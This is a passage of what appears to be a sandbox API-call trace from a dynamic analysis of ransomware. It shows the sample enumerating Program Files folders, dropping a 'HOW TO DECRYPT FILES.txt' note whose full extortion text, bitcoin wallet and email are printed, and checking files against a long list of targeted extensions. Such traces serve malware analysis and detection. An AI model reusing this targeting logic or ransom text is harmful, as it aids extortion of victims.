ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0076.187] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_CN\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d580500, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0076.188] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_TW\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d580500, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0076.190] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0076.190] WriteFile (in: hFile=0x84, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0076.192] SetFileTime (hFile=0x84, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0076.192] CloseHandle (hObject=0x84) returned 1 [0076.193] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\", lpString2="england.exe" | out: lpString1="C:\\Program Files (x86)\\Common Files\\england.exe") returned="C:\\Program Files (x86)\\Common Files\\england.exe" [0076.193] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\england.exe", pszSpec="*.ems") returned 0 [0076.193] lstrlenA (lpString="*.ems") returned 5 [0076.193] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\england.exe", pszSpec="*.db") returned 0 [0076.193] lstrlenA (lpString="*.db") returned 4 [0076.193] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\england.exe", pszSpec="*.dbf") returned 0 [0076.193] lstrlenA (lpString="*.dbf") returned 5 [0076.193] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\england.exe", pszSpec="*.myox") returned 0 [0076.193] lstrlenA (lpString="*.myox") returned 6 [0076.193] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\england.exe", pszSpec="*.myo") returned 0 [0076.193] lstrlenA (lpString="*.myo") returned 5 [0076.194] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\england.exe", pszSpec="*.qbw") returned 0 [0076.194] lstrlenA (lpString="*.qbw") returned 5 [0076.194] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\england.exe", pszSpec="*.qbb") returned 0 [0076.194] lstrlenA (lpString="*.qbb") returned 5 [0076.194] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\england.exe", pszSpec="*.qbm") returned 0 [0076.194] lstrlenA (lpString="*.qbm") returned 5 [0076.194] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\england.exe", pszSpec="*.qbo") returned 0 [0076.194] lstrlenA (lpString="*.qbo") returned 5 [0076.194] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\england.exe", pszSpec="*.qbx") returned 0 [0076.194] lstrlenA (lpString="*.qbx") returned 5 [0076.194] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\england.exe", pszSpec="*.qba") returned 0 [0076.194] lstrlenA (lpString="*.qba") returned 5 [0076.194] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\england.exe", pszSpec="*.qby") returned 0 [0076.194] lstrlenA (lpString="*.qby") returned 5 [0076.194] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\england.exe", pszSpec="*.qbj") returned 0 [0076.194] lstrlenA (lpString="*.qbj") returned 5 [0076.194] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\england.exe", pszSpec="*.ofx") returned 0 [0076.194] lstrlenA (lpString="*.ofx") returned 5 [0076.194] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\england.exe", pszSpec="*.qif") returned 0 [0076.194] lstrlenA (lpString="*.qif") returned 5 [0076.194] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\england.exe", pszSpec="*.mye") returned 0 [0076.194] lstrlenA (lpString="*.mye") returned 5 [0076.194] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\england.exe", pszSpec="*.mbox") returned 0 [0076.194] lstrlenA (lpString="*.mbox") returned 6 [0076.194] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\england.exe", pszSpec="*.eml") returned 0 [0076.194] lstrlenA (lpString="*.eml") returned 5 [0076.194] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\england.exe", pszSpec="*.pst") returned 0 [0076.194] lstrlenA (lpString="*.pst") returned 5 [0076.194] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\england.exe", pszSpec="*.ost") returned 0 [0076.194] lstrlenA (lpString="*.ost") returned 5 [0076.194] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\england.exe", pszSpec="*.idx") returned 0 [0076.194] lstrlenA (lpString="*.idx") returned 5 [0076.194] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\england.exe", pszSpec="*.dbx") returned 0 [0076.194] lstrlenA (lpString="*.dbx") returned 5 [0076.194] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\england.exe", pszSpec="*.sql") returned 0 [0076.194] lstrlenA (lpString="*.sql") returned 5 [0076.194] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\england.exe", pszSpec="*.mdb") returned 0 [0076.194] lstrlenA (lpString="*.mdb") returned 5 [0076.195] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\england.exe", pszSpec="*.fdb") returned 0 [0076.195] lstrlenA (lpString="*.fdb") returned 5 [0076.195] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\england.exe", pszSpec="*.wab") returned 0 [0076.195] lstrlenA (lpString="*.wab") returned 5 [0076.195] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\england.exe", pszSpec="*.dat") returned 0 [0076.195] lstrlenA (lpString="*.dat") returned 5 [0076.195] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\england.exe", pszSpec="*.txt") returned 0 [0076.195] lstrlenA (lpString="*.txt") returned 5 [0076.195] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\england.exe", pszSpec="*.jpeg") returned 0 [0076.195] lstrlenA (lpString="*.jpeg") returned 6 [0076.195] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\england.exe", pszSpec="*.jpg") returned 0 [0076.195] lstrlenA (lpString="*.jpg") returned 5 [0076.195] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\england.exe", pszSpec="*.png") returned 0 [0076.195] lstrlenA (lpString="*.png") returned 5 [0076.195] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\england.exe", pszSpec="*.php") returned 0 [0076.195] lstrlenA (lpString="*.php") returned 5 [0076.195] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\england.exe", pszSpec="*.cs") returned 0 [0076.195] lstrlenA (lpString="*.cs") returned 4 [0076.195] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\england.exe", pszSpec="*.cpp") returned 0 [0076.195] lstrlenA (lpString="*.cpp") returned 5 [0076.195] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\england.exe", pszSpec="*.rar") returned 0 [0076.195] lstrlenA (lpString="*.rar") returned 5 [0076.195] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\england.exe", pszSpec="*.zip") returned 0 [0076.195] lstrlenA (lpString="*.zip") returned 5 [0076.195] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\england.exe", pszSpec="*.html") returned 0 [0076.195] lstrlenA (lpString="*.html") returned 6 [0076.195] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\england.exe", pszSpec="*.htm") returned 0 [0076.195] lstrlenA (lpString="*.htm") returned 5 [0076.195] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\england.exe", pszSpec="*.xlsx") returned 0 [0076.195] lstrlenA (lpString="*.xlsx") returned 6 [0076.195] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\england.exe", pszSpec="*.xls") returned 0 [0076.195] lstrlenA (lpString="*.xls") returned 5 [0076.195] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\england.exe", pszSpec="*.mp4") returned 0 [0076.195] lstrlenA (lpString="*.mp4") returned 5 [0076.195] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\england.exe", pszSpec="*.ppt") returned 0 [0076.195] lstrlenA (lpString="*.ppt") returned 5 [0076.195] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\england.exe", pszSpec="*.pptx") returned 0 [0076.196] lstrlenA (lpString="*.pptx") returned 6 [0076.196] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\england.exe", pszSpec="*.doc") returned 0 [0076.196] lstrlenA (lpString="*.doc") returned 5 [0076.196] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\england.exe", pszSpec="*.dot") returned 0 [0076.196] lstrlenA (lpString="*.dot") returned 5 [0076.196] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\england.exe", pszSpec="*.docx") returned 0 [0076.196] lstrlenA (lpString="*.docx") returned 6 [0076.196] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\england.exe", pszSpec="*.7z") returned 0 [0076.196] lstrlenA (lpString="*.7z") returned 4 [0076.196] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\england.exe", pszSpec="*.tar") returned 0 [0076.196] lstrlenA (lpString="*.tar") returned 5 [0076.196] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\england.exe", pszSpec="*.bz2") returned 0 [0076.196] lstrlenA (lpString="*.bz2") returned 5 [0076.196] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\england.exe", pszSpec="*.gz") returned 0 [0076.196] lstrlenA (lpString="*.gz") returned 4 [0076.196] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\england.exe", pszSpec="*.mkv") returned 0 [0076.196] lstrlenA (lpString="*.mkv") returned 5 [0076.196] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\england.exe", pszSpec="*.eml") returned 0 [0076.196] lstrlenA (lpString="*.eml") returned 5 [0076.196] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\england.exe", pszSpec="*.msg") returned 0 [0076.196] lstrlenA (lpString="*.msg") returned 5 [0076.196] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\england.exe", pszSpec="*.edb") returned 0 [0076.196] lstrlenA (lpString="*.edb") returned 5 [0076.196] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\england.exe", pszSpec="*.accdb") returned 0 [0076.196] lstrlenA (lpString="*.accdb") returned 7 [0076.196] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\england.exe", pszSpec="*.odb") returned 0 [0076.196] lstrlenA (lpString="*.odb") returned 5 [0076.196] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\england.exe", pszSpec="*.java") returned 0 [0076.196] lstrlenA (lpString="*.java") returned 6 [0076.196] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\england.exe", pszSpec="*.asm") returned 0 [0076.196] lstrlenA (lpString="*.asm") returned 5 [0076.196] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\england.exe", pszSpec="*.pfx") returned 0 [0076.197] lstrlenA (lpString="*.pfx") returned 5 [0076.197] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\england.exe", pszSpec="*.pem") returned 0 [0076.197] lstrlenA (lpString="*.pem") returned 5 [0076.197] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\england.exe", pszSpec="*.p12") returned 0 [0076.197] lstrlenA (lpString="*.p12") returned 5 [0076.197] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\england.exe", pszSpec="*.gpg") returned 0 [0076.197] lstrlenA (lpString="*.gpg") returned 5 [0076.197] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\england.exe", pszSpec="*.vsd") returned 0 [0076.197] lstrlenA (lpString="*.vsd") returned 5 [0076.197] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\england.exe", pszSpec="*.odg") returned 0 [0076.197] lstrlenA (lpString="*.odg") returned 5 [0076.197] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\england.exe", pszSpec="*.raw") returned 0 [0076.197] lstrlenA (lpString="*.raw") returned 5 [0076.197] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\england.exe", pszSpec="*.nef") returned 0 [0076.197] lstrlenA (lpString="*.nef") returned 5 [0076.197] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\england.exe", pszSpec="*.svg") returned 0 [0076.197] lstrlenA (lpString="*.svg") returned 5 [0076.197] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\england.exe", pszSpec="*.psd") returned 0 [0076.197] lstrlenA (lpString="*.psd") returned 5 [0076.197] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\england.exe", pszSpec="*.vmx") returned 0 [0076.197] lstrlenA (lpString="*.vmx") returned 5 [0076.197] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\england.exe", pszSpec="*.vmdk") returned 0 [0076.197] lstrlenA (lpString="*.vmdk") returned 6 [0076.197] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\england.exe", pszSpec="*.vdi") returned 0 [0076.197] lstrlenA (lpString="*.vdi") returned 5 [0076.197] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\england.exe", pszSpec="*.lay6") returned 0 [0076.197] lstrlenA (lpString="*.lay6") returned 6 [0076.197] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\england.exe", pszSpec="*.mpeg") returned 0 [0076.197] lstrlenA (lpString="*.mpeg") returned 6 [0076.197] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\england.exe", pszSpec="*.djvu") returned 0 [0076.197] lstrlenA (lpString="*.djvu") returned 6 [0076.197] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\england.exe", pszSpec="*.tiff") returned 0 [0076.197] lstrlenA (lpString="*.tiff") returned 6 [0076.197] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\england.exe", pszSpec="*.backup") returned 0 [0076.197] lstrlenA (lpString="*.backup") returned 8 [0076.197] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\england.exe", pszSpec="*.pdf") returned 0 [0076.197] lstrlenA (lpString="*.pdf") returned 5 [0076.197] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\england.exe", pszSpec="*.cert") returned 0 [0076.198] lstrlenA (lpString="*.cert") returned 6 [0076.198] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\england.exe", pszSpec="*.docm") returned 0 [0076.198] lstrlenA (lpString="*.docm") returned 6 [0076.198] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\england.exe", pszSpec="*.xlsm") returned 0 [0076.198] lstrlenA (lpString="*.xlsm") returned 6 [0076.198] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\england.exe", pszSpec="*.dwg") returned 0 [0076.198] lstrlenA (lpString="*.dwg") returned 5 [0076.198] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\england.exe", pszSpec="*.nd") returned 0 [0076.198] lstrlenA (lpString="*.nd") returned 4 [0076.198] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\england.exe", pszSpec="*.tlg") returned 0 [0076.198] lstrlenA (lpString="*.tlg") returned 5 [0076.198] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\england.exe", pszSpec="*.lgb") returned 0 [0076.198] lstrlenA (lpString="*.lgb") returned 5 [0076.198] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\england.exe", pszSpec="*.mov") returned 0 [0076.198] lstrlenA (lpString="*.mov") returned 5 [0076.198] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\england.exe", pszSpec="*.xdw") returned 0 [0076.198] lstrlenA (lpString="*.xdw") returned 5 [0076.198] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\england.exe", pszSpec="*.ods") returned 0 [0076.198] lstrlenA (lpString="*.ods") returned 5 [0076.198] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\england.exe", pszSpec="*.wav") returned 0 [0076.198] lstrlenA (lpString="*.wav") returned 5 [0076.198] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\england.exe", pszSpec="*.mp3") returned 0 [0076.198] lstrlenA (lpString="*.mp3") returned 5 [0076.198] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\england.exe", pszSpec="*.aiff") returned 0 [0076.198] lstrlenA (lpString="*.aiff") returned 6 [0076.198] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\england.exe", pszSpec="*.flac") returned 0 [0076.198] lstrlenA (lpString="*.flac") returned 6 [0076.198] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\england.exe", pszSpec="*.m4a") returned 0 [0076.198] lstrlenA (lpString="*.m4a") returned 5 [0076.198] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\england.exe", pszSpec="*.csv") returned 0 [0076.198] lstrlenA (lpString="*.csv") returned 5 [0076.198] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\", lpString2="Java" | out: lpString1="C:\\Program Files (x86)\\Common Files\\Java") returned="C:\\Program Files (x86)\\Common Files\\Java" [0076.198] lstrlenA (lpString="C:\\Program Files (x86)\\Common Files\\Java") returned 40 [0076.198] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Java\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x801ae160, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x801d42c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x801d42c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4ff560, cFileName=".", cAlternateFileName="")) returned 0x502598 [0076.199] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\Java\\", lpString2="Java Update" | out: lpString1="C:\\Program Files (x86)\\Common Files\\Java\\Java Update") returned="C:\\Program Files (x86)\\Common Files\\Java\\Java Update" [0076.199] lstrlenA (lpString="C:\\Program Files (x86)\\Common Files\\Java\\Java Update") returned 52 [0076.199] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x801d42c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x80220580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x80220580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4ff4e8, dwReserved1=0x4ff4e3, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0076.200] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\") returned="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\" [0076.200] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\") returned="" [0076.200] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\HOW TO DECRYPT FILES.txt" [0076.200] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\common files\\java\\java update\\how to decrypt files.txt")) returned 0xffffffff [0076.200] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\common files\\java\\java update\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8c [0076.201] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0076.201] WriteFile (in: hFile=0x8c, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0076.202] SetFileTime (hFile=0x8c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0076.202] CloseHandle (hObject=0x8c) returned 1 [0076.203] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\", lpString2="jaucheck.exe" | out: lpString1="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaucheck.exe") returned="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaucheck.exe" [0076.203] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaucheck.exe", pszSpec="*.ems") returned 0 [0076.203] lstrlenA (lpString="*.ems") returned 5 [0076.203] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaucheck.exe", pszSpec="*.db") returned 0 [0076.203] lstrlenA (lpString="*.db") returned 4 [0076.203] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaucheck.exe", pszSpec="*.dbf") returned 0 [0076.203] lstrlenA (lpString="*.dbf") returned 5 [0076.203] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaucheck.exe", pszSpec="*.myox") returned 0 [0076.203] lstrlenA (lpString="*.myox") returned 6 [0076.203] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaucheck.exe", pszSpec="*.myo") returned 0 [0076.203] lstrlenA (lpString="*.myo") returned 5 [0076.203] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaucheck.exe", pszSpec="*.qbw") returned 0 [0076.203] lstrlenA (lpString="*.qbw") returned 5 [0076.203] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaucheck.exe", pszSpec="*.qbb") returned 0 [0076.203] lstrlenA (lpString="*.qbb") returned 5 [0076.203] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaucheck.exe", pszSpec="*.qbm") returned 0 [0076.203] lstrlenA (lpString="*.qbm") returned 5 [0076.203] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaucheck.exe", pszSpec="*.qbo") returned 0 [0076.203] lstrlenA (lpString="*.qbo") returned 5 [0076.203] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaucheck.exe", pszSpec="*.qbx") returned 0 [0076.203] lstrlenA (lpString="*.qbx") returned 5 [0076.203] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaucheck.exe", pszSpec="*.qba") returned 0 [0076.203] lstrlenA (lpString="*.qba") returned 5 [0076.203] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaucheck.exe", pszSpec="*.qby") returned 0 [0076.204] lstrlenA (lpString="*.qby") returned 5 [0076.204] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaucheck.exe", pszSpec="*.qbj") returned 0 [0076.204] lstrlenA (lpString="*.qbj") returned 5 [0076.204] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaucheck.exe", pszSpec="*.ofx") returned 0 [0076.204] lstrlenA (lpString="*.ofx") returned 5 [0076.204] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaucheck.exe", pszSpec="*.qif") returned 0 [0076.204] lstrlenA (lpString="*.qif") returned 5 [0076.204] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaucheck.exe", pszSpec="*.mye") returned 0 [0076.204] lstrlenA (lpString="*.mye") returned 5 [0076.204] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaucheck.exe", pszSpec="*.mbox") returned 0 [0076.204] lstrlenA (lpString="*.mbox") returned 6 [0076.204] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaucheck.exe", pszSpec="*.eml") returned 0 [0076.204] lstrlenA (lpString="*.eml") returned 5 [0076.204] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaucheck.exe", pszSpec="*.pst") returned 0 [0076.204] lstrlenA (lpString="*.pst") returned 5 [0076.204] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaucheck.exe", pszSpec="*.ost") returned 0 [0076.204] lstrlenA (lpString="*.ost") returned 5 [0076.204] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaucheck.exe", pszSpec="*.idx") returned 0 [0076.204] lstrlenA (lpString="*.idx") returned 5 [0076.204] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaucheck.exe", pszSpec="*.dbx") returned 0 [0076.204] lstrlenA (lpString="*.dbx") returned 5 [0076.204] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaucheck.exe", pszSpec="*.sql") returned 0 [0076.204] lstrlenA (lpString="*.sql") returned 5 [0076.204] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaucheck.exe", pszSpec="*.mdb") returned 0 